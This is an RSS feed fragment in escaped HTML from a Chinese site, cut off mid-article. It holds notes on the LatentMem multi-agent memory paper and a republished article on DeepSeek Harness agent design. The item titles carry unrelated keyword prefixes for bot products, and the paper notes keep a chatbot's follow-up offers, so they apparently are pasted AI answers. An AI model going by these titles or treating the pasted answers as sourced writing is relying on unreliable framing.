官方GitHub项目地址&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;GitZip Pro 浏览器扩展下载 - Microsoft Edge商店&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;GitZip Pro 官方功能介绍页&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;需要我为你整理一份GitZip Pro的‌私有仓库授权配置步骤‌吗？帮你快速实现私有仓库指定文件夹的选择性下载。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 22 Aug 2026 13:38:40 +0800</pubDate></item><item><title>QQ牛牛机器人   现有LLM驱动的多智能体系统（MAS）的记忆机制存在两个根本性瓶颈</title><link>http://www.cbtwr.com/?id=9</link><description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;《LatentMem: Customizing Latent Memory for Multi-Agent Systems》是同济大学与香港中文&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;大学联合发布的多智能体记忆框架论文，核心解决现有多智能体系统中记忆同质化、信息过载两大&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;痛点，以下是结构化的核心论文笔记：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一、 研究背景与核心痛点&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;现有LLM驱动的多智能体系统（MAS）的记忆机制存在两个根本性瓶颈：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;记忆同质化‌：所有智能体共享无差别的通用记忆，没有针对角色特性做定制化适配，导致不同角色的智&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;能体行为边界模糊，跨智能体协作效率低下。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;信息过载‌：传统记忆依赖大量细粒度的文本条目存储，随着交互轨迹增长，Token消耗和计算负担指数&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;上升，系统运行效率大幅下降。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;二、 LatentMem核心架构设计&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;框架整体由两大核心组件构成，实现轻量可学习的定制化潜在记忆生成：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;经验库（Experience Bank）‌：以轻量化形式存储原始的多智能体交互轨迹，保留完整的历史交互原始数据，&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;同时避免直接存储大量冗余文本带来的资源浪费。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;记忆合成器（Memory Composer）‌：基于检索到的历史经验和智能体专属角色上下文，自动合成紧凑的潜在&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;记忆向量，完全替代传统的长文本记忆形式。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;三、 三大核心创新特性&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;角色感知定制化‌：区别于传统方案给所有智能体提供无差别记忆，LatentMem明确将记忆生成过程与智能体的角&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;色画像绑定，从根源上避免记忆同质化，强化角色合规性，大幅提升异构系统内的跨智能体协作效率。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Token高效表示‌：将多智能体记忆表示为固定长度的紧凑潜在向量，而非冗长的文本描述，在保持甚至提升性能&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;的前提下，显著降低计算负担，部分配置下的Token使用量甚至低于无记忆的基线系统。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;端到端可学习‌：记忆合成器具备自主学习能力，可从原始交互轨迹中自动提炼高价值的记忆表示，无需大量人工&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;工程预设或预定义记忆模式。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;四、 实验结果与性能表现&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在多个主流多智能体基准测试集上，LatentMem相比原生无记忆的MAS设置，性能提升最高可达‌16.20%‌，同时&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在不同领域、不同多智能体框架下都展现出极强的泛化能力。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;五、 工程落地价值&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;结合你日常调度十几个Agent工作的场景，LatentMem可以直接复用在你的Agent集群中：为不同角色的Agent生&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;成专属定制化记忆，大幅降低多Agent系统的上下文Token消耗，同时提升Agent之间的协作效率。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;需要我为你整理一份‌LatentMem在你的Agent集群中快速落地的最小化实现思路‌吗？帮你快速把这个框架的核心能&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;力集成到现有系统中。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 21 Aug 2026 13:52:16 +0800</pubDate></item><item><title>牛牛算账机器人   DeepSeek Harness 设计解析：从 Agent Harness 的六个关键决策讲起</title><link>http://www.cbtwr.com/?id=8</link><description>&lt;h1 style=&quot;margin: 20px 0px 10px; padding: 0px; border-bottom: 1px solid rgb(221, 221, 221); font-size: 14px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255); text-align: left;&quot;&gt;&lt;a id=&quot;cb_post_title_url&quot; href=&quot;https://www.cnblogs.com/Qiniu-developer/p/22568396&quot; title=&quot;发布于 2026-08-19 13:53&quot; style=&quot;margin: 0px; padding: 0px; text-decoration-line: none; color: rgb(0, 0, 0); line-height: 1.5;&quot;&gt;DeepSeek Harness 设计解析：从 Agent Harness 的六个关键决策讲起&lt;/a&gt;&lt;/h1&gt;&lt;div style=&quot;margin: 0px; padding: 0px; clear: both; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); font-size: 13px; line-height: 1.8; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255); text-align: left;&quot;&gt;&lt;div id=&quot;cnblogs_post_body&quot; style=&quot;margin: 0px 0px 20px; padding: 0px; word-break: break-word; text-align: left;&quot;&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Agent 声称任务完成，测试却没跑；长任务跑了一阵，开头的约束开始丢失；重开会话需要反复交代背景；想让它离线跑，又频繁卡在权限确认上。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;本文沿用「How to Design an Agent Harness」（下文简称：Agent Harness 设计）中归纳的六个设计面，并以&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek Harness（dsh）&lt;/strong&gt;&amp;nbsp;为工程样本，围绕这些问题展开：Loop 如何驱动、工具如何暴露、上下文如何组装、状态如何跨崩溃恢复、权限如何设防，以及任务如何验收。&lt;/p&gt;&lt;h2 id=&quot;loop-决定任务如何持续运行&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;Loop 决定任务如何持续运行&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;最基础的 Agent Loop 逻辑并不复杂：Harness 将任务与当前上下文提交给模型，模型返回工具调用，Harness 执行对应工具，再将结果放回上下文，驱动模型决定下一步。但进入长程任务以后，Harness 还需要在基础 Loop 之外管理完整的执行生命周期。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;基础 Loop 之外，长程执行还需要处理四类问题：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;停止条件、异常结束、资源上限和运行记录。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;首先需要明确&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;停止规则&lt;/strong&gt;，在执行前定义什么算完成。例如“测试全部通过且应用正常启动”，不能只依赖“Agent 声明自己做完了”。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;其次要预设&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;异常分支&lt;/strong&gt;：中途遇阻后，是携带失败信息重新启动，还是停止并等待人工介入，需要提前确定。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;长任务还需要设置&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;资源硬上限&lt;/strong&gt;，例如限制执行轮次或实际运行时间，防止 Agent 长时间围绕同一个失败状态重复消耗 Token。对于无人值守任务，则需要保留可追溯的逐轮日志，记录每一轮发生了什么，否则执行偏离后很难回溯定位。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek Harness 在系统层进一步拆开了这套执行生命周期。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;在基础执行层，它将过程划分为&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;轮次和步骤&lt;/strong&gt;：一个步骤对应一次模型请求以及这次请求触发的工具调用；一个轮次可以包含零个或多个步骤，由默认的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;agent-loop&lt;/code&gt;&amp;nbsp;负责驱动。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;在需要多轮持续推进的任务中，&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek 提供了两套不同的执行机制：Goal Round 和 Ralph Run&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Goal Round 会继续使用当前会话，因此可以保留已有的对话上下文；Ralph Run 则由多个独立的 Ralph round 组成，每一轮都会启动新的子 Agent，不继承父级会话的对话历史。不同轮次之间的信息，主要通过共享工作区和一份长度受限的结构化交接报告进行传递。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;两套机制在上下文&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;继承&lt;/strong&gt;&lt;/strong&gt;、状态传递和继续执行的授权方式上采用不同策略。&lt;/strong&gt;DeepSeek 没有把这些重复执行机制统一收进一个通用 Loop，而是让 Goal 和 Ralph 分别维护自己的生命周期，并建立在现有的 Agent、会话、工具和 Workflow 等能力之上。定时&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/loop&lt;/code&gt;&amp;nbsp;或是定时执行则属于另一类机制，由调度器负责管理，不属于 Goal / Ralph 的生命周期。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;目前 Goal 与 Ralph 已经提供&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;轮次上限&lt;/strong&gt;功能，但跨轮聚合的 Token、费用和总耗时等预算机制当前尚未实现。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;长程 Agent 的 Loop 设计因此覆盖了&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;停止条件、异常处理、上下文&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;继承&lt;/strong&gt;&lt;/strong&gt;、继续执行的授权、资源边界和运行记录&lt;/strong&gt;。重复调用模型只是其中最基础的一步。&lt;/p&gt;&lt;h2 id=&quot;工具设计决定-agent-的行动空间&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;工具设计决定 Agent 的行动空间&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;模型无法直接感知宿主机或后端基础设施，它所理解的“外部世界”，由 Harness 暴露给它的&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;工具 Schema&lt;/strong&gt;&amp;nbsp;定义。工具的名称、功能描述、输入参数和返回结果，共同构成模型可以选择的行动空间。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;工具接口主要需要处理四件事：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;控制暴露范围、设计错误反馈、减少能力歧义，以及规范命名与分组。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;首先要避免&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;全量前置加载&lt;/strong&gt;。不要每轮都把所有工具描述塞进上下文，尤其挂载多个 MCP Server 后，大量静态描述会持续占用有效 Token。一个具体做法是把工具描述保存为可按需读取的文件，让 Agent 只加载当前任务需要的能力。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;其次，&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;错误信息也是接口的一部分&lt;/strong&gt;。相比只返回&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;invalid request&lt;/code&gt;&amp;nbsp;这类模糊错误，更有效的返回应该明确告诉模型哪个字段出错、合法输入是什么、下一步可以怎样修改。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;还需要主动缩减&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;工具列表&lt;/strong&gt;。长期没有使用、职责重复或者名称高度相似的工具都会扩大模型的选择空间。工具的命名与分组同样会影响模型的选择行为，前缀、后缀和分类方式并不只是代码层面的命名问题。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek Harness 的工具注册表将模型可见的 Schema 与运行时实现分开。模型请求收到的是经过筛选的工具 Schema；真正的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;execute&lt;/code&gt;、超时设置、并发属性和 UI 展示逻辑等运行时信息不会发送给模型。工具还可以通过作用域配置&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;allow / deny&lt;/code&gt;，进一步限制当前 Agent 能看到哪些继承而来的能力。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Agent 预设则负责按会话组合工具、提示词和其他能力。其中与本文工具设计直接相关的三种内置模式是：&lt;/p&gt;&lt;ul style=&quot;margin-left: 2.5rem; padding: 0px;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Minimal&lt;/code&gt;&amp;nbsp;模式只提供可保持会话状态的 Bash 和&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;str_replace_editor&lt;/code&gt;&amp;nbsp;两个工具；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Standard&lt;/code&gt;&amp;nbsp;模式提供文件编辑、Shell、文件与 Web 检索、Skills、Plan、Goals、子 Agent 和 Workflow 等完整的 Coding Agent 能力；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;PTC&lt;/code&gt;&amp;nbsp;模式具备&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Standard&lt;/code&gt;&amp;nbsp;的全部能力，但通过 Code Mode SDK 暴露工具，让模型可以使用一个 TypeScript 程序组合多步操作。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;1&quot; loading=&quot;lazy&quot; data-src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135240597-33162056.png&quot; src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135240597-33162056.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;因此，Harness 中的工具设计可以拆成三个层次：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;系统拥有哪些能力、当前 Agent 可以看到哪些能力、这些能力以什么形式交给模型。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;工具管理的目标，是根据任务控制 Agent 的行动空间，而不是默认把 Harness 已经接入的所有能力全部暴露给模型。&lt;/p&gt;&lt;h2 id=&quot;上下文管理决定模型当前看到什么&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;上下文管理决定模型当前看到什么&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;长上下文窗口扩大了单次推理能够容纳的信息量，但并未取消上下文管理的必要性。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;随着任务深入，对话历史、工具返回、代码片段和运行日志持续累积，Harness 需要不断决定：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;哪些信息继续留在当前模型输入中，哪些历史可以压缩成摘要，哪些硬性约束不能在压缩过程中丢失。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;长任务的上下文管理可以拆成四个动作：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;控制水位、按阶段切换、固定长期规则，以及在上下文被污染后主动重置。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;首先是主动控制&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;上下文水位&lt;/strong&gt;。不要因为模型拥有很长的上下文窗口，就一直使用到理论极限。「Agent Harness 设计」给出的建议是，即使面对百万 Token 的上下文模型，也会在约 300K～400K Token 时考虑主动结束当前会话。这不是通用阈值，核心原则是主动控制上下文规模，而不是等到窗口溢出。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;其次是&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;按任务阶段切分上下文&lt;/strong&gt;。例如调研完成后先沉淀为文档，再启动干净会话制定 Plan；Plan 完成后，用计划和必要材料进入实现阶段。跨阶段传递的是结构化产物，而不是未经整理的全部历史。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;还需要&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;区分事实与规则&lt;/strong&gt;。探索过程中积累的事实可以被压缩，长期规则不能随普通历史一起消失。例如“不能操作生产环境”“不能提交密钥”“API 契约已经固定”等规则，可以写入 Agent 每次重置后重新读取的文件，并在系统提示词中重复强调。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;如果早期错误假设已经进入上下文，并被后续推理持续当成既定事实，则需要&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;识别上下文污染并主动重置&lt;/strong&gt;。继续在同一个会话中追加信息可能只会放大偏差，此时应重新启动干净会话，再从外部状态恢复任务。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek Harness 会在每次模型请求前重新构造模型可见输入。其中，系统提示词组装负责组合提示词片段、动态上下文、工具 Schema 等内容，会话日志则提供对话历史的来源。Agent 生命周期中的其他扩展点也可以影响当前请求最终看到的信息。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;上下文压缩被设计成独立的可选能力，并没有固定写进 Agent Loop。当出现上下文压力或&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 